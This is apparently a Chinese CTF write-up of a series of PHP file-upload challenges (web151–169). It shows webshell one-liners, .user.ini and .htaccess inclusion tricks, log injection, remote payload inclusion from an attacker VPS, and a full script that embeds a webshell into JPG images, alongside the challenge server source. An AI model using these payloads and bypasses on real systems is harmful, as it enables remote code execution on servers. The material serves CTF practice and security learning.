以前忘上传的水文
web151
直接上传一个马
<?php @eval($_POST['cmd']);
发现有检测
前端过滤
传个图片,抓个包
改一下文件名和内容
web152
web153
upload
目录存在一个index.php
.user.ini配置文件在存在php后缀文件的目录生效
在PHP: php.ini 核心指令说明 - Manual中,以下两个配置可以控制文件包含
上传.user.ini
文件,包含n0o0b.png
auto_append_file=n0o0b.png
上传图片马
此时,n0o0b.png中的内容被包含在index.php中
web154
跟上题,报错
发现对内容php
字符串检测
绕过
<?=`$_GET[1]`;
web155
web156
黑名单增加了[
、]
用{
、}
简单绕过,或者用之前学的extract
<?=`$_GET{1}`;
or
<?=extract($_GET);eval($cmd);
web157
web158
web159
括号和;
全被ban了
只能上传命令执行
<?=`tac ../f*`?>
web160
反引号也被过滤了,只能日志注入
auto_append_file=/var/log/nginx/access.log
想直接包含,发现log也被过滤了
利用php语法拼接构造包含
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
再包含n0o0b.png
web161
不是检测文件后缀也不是
必须是如下文件头
GIF89a
不是很理解,上传png文件检测gif头
web162
过滤了.
,很多路径没法包含了
利用http协议去文件包含进行绕过,ip使用十进制int
需要在vps上写一个🐎供下载
web163
有意思,上传以后包含不到马
bp并发一下发现果然一直在删,不过传多了index.php就无了,逆天,大抵是爆掉了
auto_append_file竟然支持http协议
GIF89a
auto_append_file=http://your-vps/cmd
看了一下upload.php,确实一直再删
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}
sleep(2);
clearUpload();
echo json_encode($ret);
web164
检测文件名后缀了,只上传能png,且检测内容
不过发现有个download.php,可能存在文件包含
传一个图片马,发现对png校验非常严格,能显示才行
不知道为什么经bp抓包以后就会不通过检测
使用脚本生成能正常显示的图片马
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'cmd.png'); #保存在本地的图片马
?>
生成图片打开发现确实存在🐎
执行成功
upload.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-27 17:14:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("png"))){
$png = imagecreatefrompng($_FILES["file"]["tmp_name"]);
if($png==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".png";
imagepng($png,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传png格式图片");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);echo json_encode($ret);
web165
上题是png马,这题是jpg马
上传一张jpg,down下来发现有二次渲染
脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
在linux中执行
需安装php-gd,用渲染后的脚本
php jpg图片马.php download.jpg
upload.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-27 17:14:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/jpeg'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("jpg"))){
$jpg = imagecreatefromjpeg($_FILES["file"]["tmp_name"]);
if($jpg==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".jpg";
imagejpeg($jpg,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".jpg");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传jpg格式图片");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
download.php
?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-27 16:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-27 17:11:39
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$file= $_GET['image'];
$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.jpg' && file_exists("./upload/".strrev($file))){
header('Content-Type:image/jpeg');
include("./upload/".strrev($file));
}else{
echo "图片错误";
}
web166
只允许上传zip
没什么过滤,zip内容直接写马
<?php @eval($_POST['cmd']);
执行成功
upload.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:14:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'application/x-zip-compressed'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("zip"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.md5($_FILES["file"]["tmp_name"]).'.zip');
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["tmp_name"]).'.zip');
}else{
$ret = array("code"=>3,"msg"=>"只允许上传zip格式文件");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}
}
}
echo json_encode($ret);
download.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-27 16:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-28 22:53:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
$file= $_GET['file'];
if(!isset($file)){
die('文件不存在');
}
if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
die('文件不存在');
}
if(check($file)){
die('文件不存在!');
}else{
include($file);
header('Content-Type:application/x-zip-compressed');
}
function check($str){
$ret = FALSE;
$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
foreach ($arrayName as $key) {
$ret = checkPro($key,$str);
}
return $ret;
}
function checkPro($key,$str){
$len = strlen($key);
$mt = substr($str, 0,$len);
return $len==$mt;
}
web167
upload/
目录为空,前面几种方法都失效了
随便访问一个目录,发现是apache服务
可以上传.htaccess 文件,控制解析规则
设置匹配n0o0b解析
<FilesMatch "n0o0b">
SetHandler application/x-httpd-php
</FilesMatch>
上传n0o0b马
web168
前端验证,可以抓包改php后缀
内容过滤_
<?=`cat ../f*`?>
web169
前端验证zip,MIME验证png,抓包可以过
内容过滤了大部分符号
可以先上传一个空php,使得upload
目录下存在php文件供解析,再上传.user.ini
包含
auto_append_file=http://your-vps/cmd